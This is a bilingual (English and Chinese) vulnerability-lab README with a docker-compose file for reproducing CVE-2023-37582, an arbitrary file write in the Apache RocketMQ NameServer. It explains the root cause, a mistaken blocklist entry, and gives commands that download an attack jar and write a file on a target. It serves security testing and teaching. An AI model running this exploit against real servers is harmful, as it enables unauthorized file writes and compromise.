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# Apache RocketMQ NameServer Arbitrary File Write (CVE-2023-37582)
[中文版本(Chinese version)](README.zh-cn.md)
Apache RocketMQ is a distributed messaging and streaming platform with low latency, high performance and reliability, trillion-level capacity and flexible scalability.
In RocketMQ versions 5.1.1 and below, there exists an arbitrary file write vulnerability in the NameServer component. The vulnerability exists in the configuration update functionality of RocketMQ's NameServer component. By sending an `UPDATE_NAMESRV_CONFIG` command to the NameServer, an attacker can modify the `configStorePath` configuration item and its content, leading to arbitrary file write.
This vulnerability arises from an incomplete fix for [CVE-2023-33246](https://github.com/vulhub/vulhub/tree/master/rocketmq/CVE-2023-33246). In addressing CVE-2023-33246, the official team established a blocklist of configuration items that cannot be modified. However, the patch mistakenly designated the blocklist as `configStorePathName`, when it should have been `configStorePath`, leading to this outcome.
References:
- <https://github.com/apache/rocketmq/pull/6843>
- <https://drun1baby.top/2023/11/21/CVE-2023-37582-Apache-RocketMQ-RCE-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/>
- <https://github.com/Malayke/CVE-2023-37582_EXPLOIT>
## Vulnerable Environment
Execute the following command to start a RocketMQ NameServer 5.1.0:
```shell
docker compose up -d
```
After the environment is started, the RocketMQ NameServer will listen on port 9876.
## Exploit
Use this simple [exploit project](https://github.com/vulhub/rocketmq-attack) to reproduce the vulnerability and write arbitrary file.
```shell
wget https://github.com/vulhub/rocketmq-attack/releases/download/1.1/rocketmq-attack-1.1-SNAPSHOT.jar
java -jar rocketmq-attack-1.1-SNAPSHOT.jar AttackNamesrv --target your-ip:9876 --path "/tmp/success" --content "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
```
After execution, you can verify that the file has been written successfully:
```shell
cat /tmp/success
```
The content "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" should be present in the file.
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# Apache RocketMQ NameServer 任意文件写入漏洞CVE-2023-37582
Apache RocketMQ是一个分布式消息和流处理平台具有低延迟、高性能和可靠性、万亿级容量和灵活的可扩展性。
在RocketMQ版本5.1.1及以下版本中NameServer组件存在一个任意文件写入漏洞。该漏洞存在于RocketMQ的NameServer组件的配置更新功能中。通过向NameServer发送`UPDATE_NAMESRV_CONFIG`命令,攻击者可以修改`configStorePath`配置项及其内容,从而导致任意文件写入。
该漏洞源于对[CVE-2023-33246](https://github.com/vulhub/vulhub/tree/master/rocketmq/CVE-2023-33246)的不完全修复。在处理CVE-2023-33246时官方团队建立了一个不能被修改的配置项黑名单。然而补丁错误地将黑名单指定为`configStorePathName`,而应该是`configStorePath`,导致了这一结果。
参考链接:
- <https://github.com/apache/rocketmq/pull/6843>
- <https://drun1baby.top/2023/11/21/CVE-2023-37582-Apache-RocketMQ-RCE-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/>
- <https://github.com/Malayke/CVE-2023-37582_EXPLOIT>
## 漏洞环境
执行如下命令启动一个RocketMQ NameServer 5.1.0
```shell
docker compose up -d
```
环境启动后RocketMQ的NameServer将会监听在9876端口。
## 漏洞复现
使用这个[工具](https://github.com/vulhub/rocketmq-attack)来复现漏洞并写入任意文件:
```shell
wget https://github.com/vulhub/rocketmq-attack/releases/download/1.1/rocketmq-attack-1.1-SNAPSHOT.jar
java -jar rocketmq-attack-1.1-SNAPSHOT.jar AttackNamesrv --target your-ip:9876 --path "/tmp/success" --content "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
```
执行完成后,可以验证文件是否写入成功:
```shell
cat /tmp/success
```
可见,内容写入成功:
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services:
namesrv:
image: vulhub/rocketmq:5.1.0
ports:
- 9876:9876
- 5005:5005
command: ["mqnamesrv"]
broker:
image: vulhub/rocketmq:5.1.0
ports:
- 10911:10911
command: ["mqbroker", "-n", "namesrv:9876", "--enable-proxy"]